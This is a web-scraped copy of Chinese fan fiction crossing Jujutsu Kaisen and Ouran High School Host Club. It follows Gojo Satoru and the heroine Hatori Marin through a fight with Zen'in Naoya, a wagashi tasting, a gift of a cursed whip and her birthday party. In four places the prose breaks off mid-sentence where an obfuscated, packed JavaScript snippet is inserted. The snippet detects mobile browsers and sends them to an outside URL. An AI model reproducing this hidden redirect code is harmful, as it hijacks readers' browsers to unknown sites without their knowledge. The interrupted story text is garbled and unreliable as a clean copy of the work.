“或许我是比你弱,但我也不认为你强,强者无需靠践踏弱者来证明自己的价值,越是一无是处之人才喜欢徒有其表的显摆!” “……动手啊,杀死我,只不过能证明你是个欺压弱女子的废物而已,除此以外,你什么都不是。” 禅院直哉瞪大眼睛,顿时哑口无言,他竟然连一句还嘴的话都想不出来,这让他越发气急败坏。 要杀了她,他一定要杀了这个女人才能平息愤怒。 “……找死!”杀意在他眼中暴涨,他五指猛的收拢,几乎要嵌进女孩的颈脉。 一只骨节分明的手忽然伸出,用力扣住禅院直哉那只施暴的手,冷白皮肤下绷起青筋,带着一股凌厉的劲。 禅院直哉回过头,猝不及防对上一双蓝眼睛。那蓝色如同深海之下的寒冰川,又仿佛寂静燃烧的高温火焰,此刻正居高临下地睥睨着他。 比他更高的身影如鬼魅般笼罩着他,仿佛无形的领域完全将他侵吞,深不可测的咒力带来的压迫感让空气都凝滞。哪怕那张抿紧而绷直的唇未开口说一个字,空气中已四处是他的威胁。 “……悟、悟君?”禅院直哉听到自己的声音抖得不像话。 他清楚,他和五条悟之间的实力犹如云泥之别,这种清醒的认知使他如同面对着更高阶的物种,在绝对统治的力量前面,他被压制得动弹不了。 他识趣地放开了羽鸟真凛。 “别叫得这么亲密,你谁来着?”五条悟声音冰冷。 “我是禅院直——” “我管你是谁。” 对面话还没说完,五条悟的右拳已闪电挥出。他站直的身体丝毫没动,轻松一挥手就将直哉整个人击飞至墙上。 不给他站起来的机会,五条悟双手插进兜里,抬起长腿往他身上踹:“揍你这种渣滓,用咒力都嫌浪费。” 沉闷的击打声密集地响了起来。 不使用咒术,他完全是地痞流氓式的踢踹,这对于被揍的咒术师来说应该是最大的侮辱了。 一旁的羽鸟真凛总算缓了过来,她揉着发红的脖颈踉跄起身,看着眼前的施暴场面,她走到门边,默默地关上了门。 关门,放五条悟。 五条悟把禅院直哉揍得那叫一个狠,他边揍着还边炮轰式的输出一大串侮辱性的垃圾话,但全程不带一个脏字。 那惨状羽鸟真凛都看得有些不忍心—— “慢着,五条同学!”她大义凛然地介入暴行现场,“让我也踹两脚!” 不忍心光看了。 在五条悟挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600104|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眉惊异的注视下,她拎起襦袢的下摆,对着蜷缩的禅院直哉一记猛踢。 见禅院直哉根本不敢还手她更加发狠地踢,仗势欺人的感觉实在太爽了。 “滚回京都去吧,禅院少爷。” 直到禅院直哉鼻青脸肿,五条悟才放了他。 碍事的人离开以后,五条悟和羽鸟真凛互相对视一眼,同时笑出了声。 “你看到你踢他时,他是什么表情吗?超搞笑的哈哈哈!”五条悟笑得直不起身,双手直拍墙壁。 他也想不到,大小姐踹人的气势如此雄赳赳气昂昂,着实叫他都惊呆了。 “看到了看到了,”羽鸟真凛揉了揉笑出的眼泪,“脸色绿得好像癞蛤蟆!” 畅快地笑过后,两人终于停下来,静静坐在榻榻米上。 “……痛吗?” 五条悟目光扫过她被掐红的脖子和手腕,眼角像是被烫到,不自觉地收紧。 “痛。”羽鸟真凛满不在乎地答道。 她看着他,脑子里首先想到的却是,几天不见,他是不是又高了一点? “但是无所谓了。”她说,这点伤跟过瘾比起来确实不算什么。 五条悟却没有理会她说的无所谓,转身离开茶室,招呼路过的仲居拿来冰袋和毛巾。 “谢谢。”羽鸟真凛赶忙接过来,自己动手将毛巾冰凉过后,敷在脖子的瘀痕处。 白发少年看着她把自己处理得好好的,他手悬在空中无处安放了好一会儿,最终又收了回来。 “你还挺酷的。”他托着腮,不咸不淡地开口:“禅院直哉都被你怼得毫无还嘴之力,尤其是那句什么‘越是一无是处之人才喜欢徒有其表的显摆’来着?简直帅到我了。” 羽鸟真凛抬起眼,这是在阴阳怪气吧?听着怎么这么别扭。 “咳……你认识那人,他也是咒术师吧。”她转移话题。 “你知道还敢跟他正面刚?我赞许你的勇气,虽然这样是很帅气没错,但是——”五条悟的声音陡然沉了下来,目光紧紧锁着她。 他发现她总是这么不计后果地以身犯险,像上次明知有危险还为了两个小孩闯进咒灵领地,而这次明明力量悬殊,却像扑火的飞蛾般激怒禅院直哉,一点也不为自身安全考虑。 “……什么?”羽鸟真凛被他看得毛毛的。 “还是太乱来了!”五条悟忽然提高音量像是忍无可忍的爆发,他倏地站起身,伸手指了指她颈间和手腕: “自己看看这里,还有那里!你知不知道咒术师要杀掉一个普通人有多简单?又知不知道那个家伙根本不在乎区区一两条生命?他真的会杀掉你啊!干嘛要激怒他?!” 他被一阵说不清道不明的焦躁裹挟着,持续不下。 “逞强也要有个限度,首先把自己的人身安全放在第一位啊!” 把她吼愣住了,他渐渐才放低音量:“……我只是觉得,你应该更爱惜自己。” “五条同学。” 羽鸟真凛低着头,神情被额前的碎刘海遮住,她忽然伸手,抓住他悬在半空中躁动不安的手。 男生的手掌比她大很多,手指修长,掌心带着灼人的温度,手背上凸起的血管中淌着滚烫的热血。 就是这双手,一次次救她于危难之中,她无法形容那种心情,心脏像裹着一层柔絮。 “其实我很害怕,我也知道自己很弱,就算如此,却不甘心被当作无法反抗的弱者,所以胡乱逞强。” 她说着,冰凉的指尖覆在他骨节凸起的血管上,无意识地加重了力道,攥紧。 “但是我知道了——”她垂着眼帘不去看他,说的每一个字却都在直面他,振振有声:“知道有人会这样为我紧张,我一定会更珍惜自己。谢谢你为我担心,谢谢你总是来救我。” “……” 五条悟任由着手被对方攥住,渐渐察觉到自己指尖滚烫。 六眼透过对面眸光的映照,看见自己发丝中露出一角微红的耳尖。 14. 014.她的玫瑰 意识到自己耳朵红了之后,五条悟有些坐不住地站起身,胡乱揉了揉自己那头柔软似猫毛的白发。 他指间似乎还残留着对方的温度,简直过分。像那样抓着他的手,一个劲地向他吐露真心,每次道谢时那种毫无保留的真诚,简直过分。 他本可以开玩笑般地打趣她,但他却出乎自己意料的没有那样做。 而羽鸟真凛这时才后知后觉到自己的行为有些越界,指尖无措地卷起颊边一缕碎发,足足缠了好几圈。 狭小的茶室内,二人各忙各的。 最终她清了清嗓子,言归正传:“咳咳,所以五条同学来找我有事对吧。” “哦,嗯。” 五条悟重又坐下来。 他若无其事地瞄了一眼她的后颈,六眼穿透她散落的发丝窥见那个红色的咒印。 “以前的事你一点都不记得?”他问。 羽鸟真凛吸了口气,坦白道:“我没有六年以前的记忆。” 六年前完全吻合神里家遭灭门的时间点。 五条悟心里已有推论。 神里家素来以结界术和咒缚著称,而她之所以没有丝毫的咒力,大概是那道神里家的咒印所造成,那极有可能是一种强力的封印咒缚,除此以外无法解释。至于失去六年前的记忆,大约是创伤性失忆,当然这只是他的推测。 除了死而复生这一点无从证实以外,其他证据都指向羽鸟真凛与神里真凛是同一个人。 “说起来,刚才那个禅院提到了「神里」……”谈及记忆这个话题,羽鸟真凛忽然意识到,五条悟和禅院直哉都共同提到过“神里”这个姓氏,两人也好像曾见过她似的,一个猜想随即浮上心头—— “我那段空白的过去,是不是与咒术界相关?” 五条悟张了张口,他还没说什么,她都已经把他要说的说掉了。 “猜对了呢,你让我很没成就感诶。” 羽鸟真凛低着头,下意识地攥紧了袖口,说道:“再加上,我不是羽鸟家亲生的。” 五条悟假装露出惊异的神情,浮夸地捂嘴:“什么,竟然是假千金?” 她无语地睨了他一眼,尽量使自己的声音保持平稳:“所以,我的原姓……” “不会错。”五条悟掏出插在兜里的手,指了指自己的后颈:“你的那个胎记,实际上是咒印,而且据称是神里家特有的。” 又出现了不熟悉的词汇,她抬手按向太阳穴。 这些突如其来的信息不仅没能填补那段空白,甚至徒增混乱,只会越发让她对自我的存在感到茫然。 毫无记忆的神里,像个陌生的符号找不到任何真实感,毫无血缘的羽鸟,也不过是被冠上的虚名,两者看似都与她有关联,却又不深刻。 “那我到底是谁呢?”她的目光投向五条悟,似乎想要抓住什么证明,“你说过叫神里真凛的人死了。五条同学,你告诉我,那我到底是谁?” “虽然我也无法解释死亡的事…”这个问题他暂时给不出答案,但能够确定的、并且无须质疑的是—— 五条悟随意将墨镜勾下,露出一半苍蓝色的眼,看着她:“这种问题根本不需要纠结啊。你现在活着,你就是你,姓氏和家族从来都不是定义‘你’的必要条件吧。” 白发少年语气里带着理所当然的笃定,正如他本人那样嚣张又自信。 “哪怕不是羽鸟,也不是神里,你依然是你——真凛。” 他吐字掷地有声,最后一个音节落在空气里,仿佛激荡起一阵风。 “所以从今往后,我会用名字喊你,真凛。” 自那双苍天之瞳散发的璀璨光芒,缓缓照进羽鸟真凛的瞳孔里。 她先是怔住,之后忽然笑了起来。 “五条同学真是强大的存在。” 因为他足够强大,所以不会坠入自我怀疑的困境,所以总是能够这么自信,这么光芒万丈。 “五条同学?”五条悟一副我“都直呼你名字了诶你怎么还这样叫我”的表情:“哈?!” “……五条君。” “啊?!” “……五条悟!”羽鸟真凛吼道,然后音量逐渐小下去:“不要得寸进尺混蛋。” 她生硬地转移话题:“我得回去练习做菓子了。” “为什么?”五条悟挑了挑眉,其实他一开始就很好奇,她那一身经过改良的短版浅绿色和服配上白色围裙是怎么回事。 羽鸟真凛告诉他家里特意请了匠人指导她学做练切菓子,为了在生日宴上展示出来,让宾客们知道他们羽鸟家的女儿多么蕙质兰心,当然她的语气是自嘲的。 “原来如此,当大小姐真累。”白发男生像只刚睡醒的大猫咪慵懒地伸腰,并没有要走的打算,“其实我今天刚好想吃睦月亭了,我可是贵宾哦,五条家办家宴也一直在这儿订购菓子。” “对哦,五条君很喜欢吃甜食吧。”她想起上次在家庭餐厅五条悟一连吃了好几份甜点,眼睛一亮说道:“不如来当我的小白……不是,请务必品尝我的试做!” “你刚刚想说小白鼠对吗?” “有吗?没有吧。” “品尝也可以啦,但我对甜食很讲究的,你能让我满意吗?”他得意地晃了晃手指。 “那么这位客官请稍等。” 过了一阵,羽鸟真凛端着朱漆托盘走来,各式精巧的练切菓子在瓷盘里绽开成小小的花圃。 樱花粉嫩清新,宛如少女的脸颊;朝颜花仿佛刚从早晨清醒,还凝着一颗露珠般的糖霜;紫藤花层次丰富,深紫色由上向下地逐渐变淡;山茶花纯白素雅,透出物哀的宿命感。 “哇,这都是你做的?”五条悟眼里放光,像在看艺术品一般鉴赏起来,“还挺像样的嘛~” “但师傅说细节还不够完美。”羽鸟真凛摇摇头。 “为什么唯独这位小朋友长得这么特别?”五条悟很快发现,在百花齐放的菓子当中,唯独有一颗造型不那么精致的粉玫瑰。 不像其他花朵般极尽仿真,而是由简洁的几何图形勾勒出抽象的花瓣,旁边的绿叶肆意舒展。 它孤零零地,不与其他娇花为伍,独自呆在朱漆托盘的角落里。 “其他都是仿造师傅复刻的,只有玫瑰……是我自己想出来的设计,所以造型差强人意,失败作啦,先别管它。”羽鸟真凛拿起竹签塞到他手里,“总之一个个尝尝吧!” “OK~” 说罢,五条悟忽然像模像样地端坐在榻榻米上,手臂垂出优雅的弧度,挺直的背脊莫名庄重,有种上流传统世家的风范。 “好、好难得!”羽鸟真凛捂嘴,五条悟居然会正坐耶! 惊讶程度不亚于,就好像看到路边的野猫摇身一变成王子陛下。 “品尝艺术品当然要仪式感啦~” 他熟练地用竹签切开菓子的四分之一,插起一块送入嘴中,而在品尝下一个口味的菓子之前,他会先抿一口茶,以清余味,避免口感交杂。 他只要安静不说话,确实有几分矜贵公子的模样。 羽鸟真凛的位置正好看到他的侧面。 男生的侧脸轮廓深邃,下颌线锋利无比,高挺的鼻梁投下小片阴影,雪白的睫毛又长又翘,像是蛋糕上的霜糖点缀,又仿佛中世纪淑女手中的羽扇。 当他仰头饮茶时,侧颈牵出的弧度充满力量感,喉结随着吞咽的动作清晰地滚动。 “七分。”他放下盛着菓子的瓷盘,“造型很精致,味道也符合标准,但是……像在交作业,总觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600105|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺少灵魂。” 他转过脸来面向她:“你在制作它们的时候,应该很不开心吧?” 羽鸟真凛错愕地看着他,确实没有开心可言。 那些照本宣科在造型上追求极致的菓子,只是为了满足母亲的要求而作的,她自己并不喜欢,因此为了照顾美丽的外表忽略了味道。 完美无瑕的成品,就如同羽鸟家对她本人的苛求,每一道纹路都刻着“必须这样”的枷锁,每一抹色彩都染着“应该那样”的拘束。 可实际上她并不完美,也不甘于枷锁的束缚,就像那朵不为任何人而绽放、不太规整却向往自由疯长的粉玫瑰,那才是真实的她。 一一品尝完四颗精美的菓子,五条悟拈起了那朵抽象的粉玫瑰,好奇地观望了一阵。 “这个我也要吃。”他没有用签子,而是直接用手放进嘴里。 “等等,那个……”羽鸟真凛阻止未果,他已经咬下大半。 喉结滚动着咽下最后一点馅料,五条悟的眼睛微微放大。 “唔……” 似有真正玫瑰的余香在口中蔓延,带着某种令人心旷的鲜活气息,他仿佛看到一朵无拘无束盛放在旷野的粉玫瑰。 “哎呀呀,这朵特立独行的玫瑰长得虽然奇怪,但是……”他手指在虚空中画了个圈,“我感受到了,里面饱含着心。” “十分!”少年露出两排闪闪发亮的白牙。 她轻轻笑出声,“五条君,没想到你的品味这么奇怪啊。” “完——全没吃够啊,再给我做一盒,不,两盒!可以吧?”富家大少爷死乞白赖地伸手讨食,态度还十分理直气壮。 羽鸟真凛:“?” “试吃结束,接下来是付费服务。” “欸?小气!”白毛小猫眼尾耷拉皱起眉,脸上就差写着再也不相信人类了。 看到超大只dk气嘟嘟地蹲在榻榻米上瞪着她,羽鸟真凛忍俊不禁笑出声。 “……我知道了,给你。” 本来也是故意逗他的,再说对着他那张脸不妥协也难。更何况,得到了如此毫不吝啬的赞誉,还有那么真切的笑意,她大约是喜悦的。 她手一挥说:“给你做三盒!” “太好了!”大猫猫漂亮的蓝眼睛瞬间恢复了光芒。随后,他神神秘秘地勾起嘴角:“作为回礼,我也有东西要给你。” “什么?” 只见五条悟修长的手指移动至外套最上面那颗金色纽扣,啪嗒一声,利落地解开。 羽鸟真凛的脑中“嗡”地冒起烟,“等、等等!你这是?!” 她一时兵荒马乱措手不及,尽管她会去牛郎店,但她真的不是那种贪图男色和美好肉|体的痴女! “嗯?”五条悟发出一声疑问,单手探进外套内,掏出了藏在外套内衬里的……武器? 一根类似铁链状的银色金属。 “没事了。”羽鸟真凛一秒镇定住,正襟危坐,捧茶.jpg。 “哦,那是什么?”她一本正经地看了眼他拿出的武器。 “咒具「九重缚」。” 那是一根九节鞭,鞭头呈尖刀状,鞭把形似刀柄,每节之间由三个圆环连接。 “万一你再碰到那些丑陋的咒灵,只有咒力和咒具才能对它们造成伤害,你没有咒力,所以给你这个用来防身,高兴的话也可以打打咒灵。” 九节鞭可以折叠藏身,也可以挂在腰间,考虑到羽鸟真凛生活在普通人的世界,因此他挑选了一个好隐藏又方便携带的武器。 当然,他没说这是属于五条家忌库里的贵重咒具,并且特地托家臣从京都带来的。 羽鸟真凛看着那条银蛇一般犀利的九节鞭陷入沉思:我,打咒灵?真的假的? 15.015.生日 从睦月亭回到家之后,羽鸟真凛在自己房间里练习了两个半小时的小提琴。 夜色渐浓,随着德彪西《月光》的最后一个音节散落在空气中,她轻轻放下弓和琴,揉了揉颈肩,目光不由自主地飘向房间一角。 那根九节鞭正躺在沙发上,银色的金属面在灯下泛着冷冽的光。 五条悟就这么理所当然地把这东西交给她了,好像没考虑过她会不会使用吧? 不像刀或者剑可以直接挥舞,这东西运用起来应该需要一定的技巧,看起来很难驾驭。 尽管她不敢想象自己打咒灵的场面,但如果有这个必要,她亦不会退缩。 是不是练习一下比较好呢,毕竟有备无患。 她深吸一口气,握住了鞭柄,试着轻轻摆动了一下,环环相扣的鞭节发出清脆的碰撞声。 然后,她走到房间中央的空地,试着想象体操运动员挥舞体操棒的感觉,用力将九节鞭向前一甩。 金属鞭如同扑向猎物的蛇,银光一闪。 ……好中二,羞耻度爆表! 但又有些莫名的兴奋是怎么回事?莫非姗姗来迟的中二之魂终于在将满17岁时觉醒了吗? 她再次抡起鞭,这次她配合上身体的动作,九节鞭在空中划出优雅的弧线,她便随着鞭的轨迹旋转身体,九节鞭在空中忽左忽右的打着旋儿。 她忘我地挥舞、回旋,一时之间圆环与鞭节碰撞在一起欢快地响着,下一刻鞭头直奔柜上子那只陶瓷花瓶。 啪!花瓶应声碎了一地。 她急忙收回鞭,这回奔着墙上的挂画而去,画框的玻璃罩面瞬间裂开。惊慌之中,鞭又扫过了梳妆台上的一排瓶罐,噼里啪啦砸掉了一地东西,荣获桌面清洁大师的称号。 “呃……”羽鸟真凛看着一片狼藉眉头直抽。 “真凛小姐?!发生了什么?” 焦急的敲门声响了几下后,门直接被打开,进来一个金发女仆。 “失礼了小姐,我进来了……呀!”女仆看着地面吓了一跳,再看看她,这是知书达礼端庄斯文的真凛小姐干的事吗? “这、这是……发生了什么吗?” “这里没事呀,”她将九节鞭死死地藏在身后,睁着眼瞎说:“我只是在打蚊子。” “真的吗,小姐,看着仿佛被小型炸弹炸过一样?” “当然啦,因为我下手很重,你知道的,对待害虫绝不能心慈手软。”她镇定自若地说道,“哦对了,这种小事千万不要惊动了父亲和母亲,莉莲,我不想让他们担心。” “知道了,小姐,我这就去拿清洁工具。” “麻烦你了。” 重新打扫干净的房间里再次回归安静,羽鸟真凛拿起手机,打开邮件,编辑信息。 「五条君给的咒具有些厉害过头了。 稍微用了一下卧室立刻就被毁成犯罪现场了。= =||| 」 发送。 出乎意料地回信很快。 「哇这么惨烈 还以为,多少会残留一些肌肉记忆让你能够顺利使用呢。 」 肌肉记忆?羽鸟真凛盯着这个词愣了一下。她还没来得及回复,下一条信息又发了过来: 「没关系,我来教你用。 毕竟是我送的礼物,总要负责售后嘛。(笑)」 礼物? 当时他只说是给她用来防身的,现在却突然变成了一件礼物? 这个词本身就自带一种奇特的温度,它应该是情感的载体,它应该饱含着赠予者的某种心意……所以,他会是怎么样的心意? 无力再想下去,羽鸟真凛捂着面颊倒向床,微卷的长发凌乱地铺散在床单上,就像她此刻弥漫开来的那股微妙的、说不清的情绪。 缓了一会儿,她才慢吞吞打字。 「那什么时候开始?」 「可能要过一阵,明天又有任务(好烦呐><> 「是吗,五条君的任务就是斩杀咒灵?」 「对。咒术师常年人手不足,能力拔尖的人才只好全国各地到处跑啦。」 看着文字她似乎都能听见五条悟那得意的腔调。 「真不巧,本想邀请你来我的生日宴。 祝你顺利吧,蛋糕要不要给你留一点?」 「生日上的蛋糕味道总是会打折扣,但如果有Marin’s rose可以多给我留一点~」 Marin’s rose ——真凛的玫瑰。 是指她做的玫瑰形状的菓子?他什么时候取的名字啊? 看着屏幕上的字,笑意似乎难以遏制地轻轻攀上唇角,过后她又无可奈何地摇摇头。 明明已经给了他三盒还嫌不够。 「你的胃是黑洞吧?」 · 三日后。 羽鸟真凛的生日宴在羽鸟宅如期举行。 晚上七点,数盏水晶吊灯璀璨绽放,将整个会场映照如白昼,大厅角落里乐队正演奏着舒缓的古典乐。 虽说是生日宴,其实她未必是主角,不如说是一场借她生日之名举办的、维系羽鸟家人脉关系的社交盛宴。 到场的大多是羽鸟家邀请的各界企业家和高管,觥筹交错间,他们交换着对市场的预判,谈论着最新的投资动向等等。 羽鸟真凛真正熟悉的宾客寥寥无几,对这种场合尽管十分不喜欢,她依旧要笑着跟每个来宾都打照面。 “几年未见,羽鸟家的小姐已经出落得如此亭亭玉立了。”一位发髻梳得一丝不苟的会长夫人说道。 “夫人您过誉了。”羽鸟真凛微微颔首,这样的对话在今夜已经重复了太多次。 “听说羽鸟小姐在樱兰的成绩相当出色呢,不像我家不成器的犬子。”另一位姓远野的夫人手执香槟轻笑。 blablabla…… 交谈中羽鸟真凛保持着笑意,目光不由自主地扫过整个大厅,公关部的成员似乎还没到,也只有那几个人是她自己邀请的。 “真凛小姐,好久不见!” 爽朗的女声响起,羽鸟真凛循声望去,茶色短发齐肩的少女面带活泼笑容,身穿利落的红色高定长裙,头上的珍珠发箍泛着温润光泽。 是铃木财团的二小姐,羽鸟真凛曾与她在其他宴会上见过几面。对方年纪比她小,目前就读于帝丹高中一年级。 “园子小姐,贵安,很高兴见到你。”羽鸟真凛依照礼仪屈身回礼,话音未落就被对方热情地握住双手。 “哇,你今晚真是美呆了耶!”少女真诚地夸奖道,丝毫不拘束。 这位铃木财团的千金言行举止向来洒脱,给羽鸟真凛留下过很好的印象。反观她,出席社交场合时活脱脱一具戴着镣铐的提线木偶。 说实话,她很羡慕对方。 “不过,”铃木园子俏皮地凑近过来,“穿着这种裙子社交应该很累吧?” 她身穿的是黎巴嫩设计师以“鸟”作为主题制作的礼服,清雅的淡紫色抹胸纱裙,极衬她的白肤,缀着碎钻的上身闪着细腻星光,手工裁剪的小羽毛装饰稀疏交错,由腰际一直延伸至裙摆,在流动的空气中轻盈地漂浮。 “的确很累啊。”羽鸟真凛用只有两人能听见的音量说,“说实话,恨不得当场脱掉的程度! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604563|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两个女生相视一笑,倒是有几分合拍。 铃木园子凑到她耳边,神色异常兴奋:“对了,我听说你们学校那个超有名的男公关部都是帅哥欸!他们会来吗?” “我有正式地邀请过他们,不出意外的话……” 正说到这里,大厅的双扇门便被“哗啦”一声推开。 以须王环为首,一众花美男闪亮登场。 男公关部全员身穿礼服,仿佛自带花瓣背景,比平时更加华丽耀眼。 扑面而来的华丽风格让她一瞬间幻视歌舞伎町街头牛郎俱乐部的大屏幕广告。 不不,赶紧甩开这种不对劲的念头。 须王环阔步走来,执起羽鸟真凛的手行了个标准的吻手礼:“哦,真凛小姐!今夜你眼里的星光,如同永恒的钻石一般璀璨。” 出现了,永远浮夸在线的笨蛋殿下。 双胞胎常陆院兄弟一左一右从须王环身后冒出,将后者的脑袋一把按下。 “但我们觉得羽鸟学姐比钻石更耀眼呢~”两人异口同声。 一个二个的都这么嘴甜,属于是专业对口,男公关本色了,她暗想。 “小凛,生日快乐!”埴之冢光邦小步跃上前,圆溜溜的大眼睛里盛着欢喜。 不愧是Honey前辈,可爱无敌。 “羽鸟学姐,生日快乐。”紧接着,藤冈春绯也走过来,短发女孩清澈的杏眼无比真诚。 沉默寡言的铦之冢崇学长随之点了点头。 “谢谢大家的祝福,”羽鸟真凛内心一暖,荡开真实的笑意,声音轻快了几分:“很高兴大家今天能赏光,请尽情地享受宴会。” “向各位介绍一下,”她留意到铃木园子眼里那股灼热的目光,于是将她牵引至众人面前介绍道:“这位是铃木财团的千金,铃木园子,她很想认识各位呢。” “哦!铃木财团的大名如雷贯耳。”须王环优雅欠身,绅士地行礼:“在下须王环,很高兴认识你,美丽的园子小姐。” “您、您好!须王先生……不,王子殿下!”园子捧着发红的脸颊,双眼被对方自带的闪耀光环填满。 见铃木园子已经与公关部众人热切地攀谈了起来,羽鸟真凛的目光越过众人,落在进门后唯一没开口的凤镜夜身上。 “镜夜,在想什么?” “只是在想这件裙子很适合你。”黑发男生维持着一向的冷静自持。 沉静的目光落在她身上,说:“就像为了寻找属于自己的天空振翅而飞的青鸟,不是吗?” 闻言,她搓了搓不存在的鸡皮疙瘩。 “哇,你什么时候开始走环同学的路线了?” “谁跟那个浮夸笨蛋一样,我是说实话。” “哦。对了,镜夜送来的礼物下午已经收到了。”她说:“谢谢,我很喜欢。” 自从上次她稍作坦言之后,镜夜想必已经明白她对婚约的态度,二人僵化的关系也稍有缓和。 接下来她的计划是等待合适的时机,向父亲提出解除与凤家的婚约。 “你中意就好。”凤镜夜轻轻一笑,而后视线转向宴会厅另一端:“我去和伯父打个招呼。” 说罢,他朝羽鸟谦一郎走去,后者一见到这位世交之子,立即热情地张开双臂迎接,眼角的笑纹都藏着毫不掩饰的欣喜与满意。 这种情形…… 该如何向父亲提出解除婚约真是个难题。 羽鸟真凛忍不住按了按太阳穴。 这时手包里传出一阵震动。 她转过身,背着人群摸出手机,屏幕亮起,五条悟三个字猝不及防地跳进眼帘。 16.016.十一点 羽鸟真凛握着手机穿过落地窗,沿着幽暗的小径走向庭院。 四下无人,她打开那条来自五条悟的讯息。 等等,不过是查看讯息为什么要像做贼一样,生怕暴露了什么似的。 但现在才想这个已经太迟了。 「生日还开心吗? 肯定很热闹吧,真羡慕啊—— 我这边可是刚结束任务累得要命,明早才搭乘新干线回东京。」 明天才回啊…… 盯着这行字她指尖发紧,在按键上方定格了良久。 想问的话有很多,比如他去了什么样的地方,进行了什么样的任务,有没有受伤之类的,该从哪里说起呢? 明明都是差不多年纪的高中生,他在各地奔波着斩妖除魔为民除害,而她却在这种毫无意义的宴会上浪费光阴。 普通人现在享受到的和平说不定都是咒术师们牺牲时间,甚至牺牲性命创造的。 一想到这点,宴会厅传来的欢声笑语变得嘈杂刺耳起来。 她缓缓敲下几行字。 回复完邮件,一时间竟有些不想回去。 在她出神之际,身后的草坪沙沙作响。 “羽鸟同学?”一个男生走来,脸上写着很惊讶在这里看到她的样子:“抱歉,我不知道这里有人,会打扰到你吗?” 羽鸟真凛立刻挂上公式化的微笑。 对方是跟随父母一同来参加宴会的企业家之子,叫远野彰司,同时也是樱兰的学生。 “并没有打扰到我,远野同学请便。” “羽鸟同学为什么一个人?”远野小心翼翼地问,“明明是寿星,却独自呆在这里。” 实际上羽鸟真凛心里正烦着,然而一开口便是无可挑剔的社交措辞:“鲜花和甜点的芬芳固然不错,但是静谧的夜色也很棒,你不这么认为吗?” 说得她自己都想吐。 “是,我也这么认为。”男生顺着她的目光眺向朦胧的月色,又回过头,停留在她被月光勾勒出柔美线条的侧脸,不由自主地出神。 他轻声道:“特别是在这里能够遇见你,堪比任何景色……” 华美的月色以及大厅传来的悠扬伴奏,一切都恰到好处,似乎没有任何时候比此刻更适合鼓起勇气向心仪之人坦白情感。 “羽鸟同学,其实我从很久以前就注意到你了。”男生的声音因紧张而有些干涩,“无论是在走廊擦肩而过,还是在庭院远远看到你的身影,目光都会忍不住追随着你。今天也是得知父母受到羽鸟家的邀请,我非要跟来的……” 他停顿了一下,无意识握紧拳:“我喜欢你,给我一个机会,我不会输给凤镜夜。” 羽鸟真凛:“……” 未曾设想的展开又增加了,虽说夜间的庭院有种天然的告白氛围,但是他们并不熟吧这位隔壁班的男同学,甚至没说过几句话。 她一直都不是很懂青少年间的告白现象,为什么能冠冕堂皇地对半生不熟的人说出喜欢二字呢,只凭颤抖的声音和羞赧的面庞就能证明一份情感吗,未免太浅薄了。 笑容骤然从她脸上消失。 “你喜欢我什么?” 她的声音彻底冷下来。 “欸?”远野被她徒然大变的气势震住,一时语塞。 必须得说点什么才行,死脑子快想啊。 远野重整呼吸,结结巴巴地开口:“我……我承认是被羽鸟同学的外貌和气质吸引,不论何时都保持着那份从容与优雅,向任何人都会露出温柔的神情……而我……对这样的羽鸟同学移不开视线……” “是吗。” 羽鸟真凛冷淡地应了一声。看吧,对方只是被她苦心经营的虚假形象所吸引而已,青春期男孩子的心动就是如此浅薄的东西。 “远野同学,你丝毫不了解我呢。”她微微侧过头,讥诮的语气里全然不再存在什么礼节: “你知道我的喜恶吗?知道我在深夜会为什么事烦恼吗?见过我失态的样子吗?比如,我会去歌舞伎町为八块腹肌的牛郎一掷千金,还喜欢仗势欺人暴揍侮辱女性的人渣,还有……” 话未说完,她看着男生身后的阴影,眼神徒然一凛。接着她手腕一抖,一道银光自她礼服裙底闪现——是她藏挂于大腿上的九节鞭,尖锐的鞭头即刻飞出。 “闪开!” “噫噫噫——?!” 男生根本不明白发生了什么,只见一个尖锐物朝着自己面门飞来,他慌里慌张地跌坐在地,九节鞭带起的劲风擦过他的头顶。 “锵!” 金属撞击物体的声响炸开。 “打、打中了……?” 羽鸟真凛难以置信地愣住,那只藏在阴影中的只有足球大小的咒灵,正奄奄一息地挣扎着,发出毫无意义的呓语。 在看到那只小小的怪物时,她竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 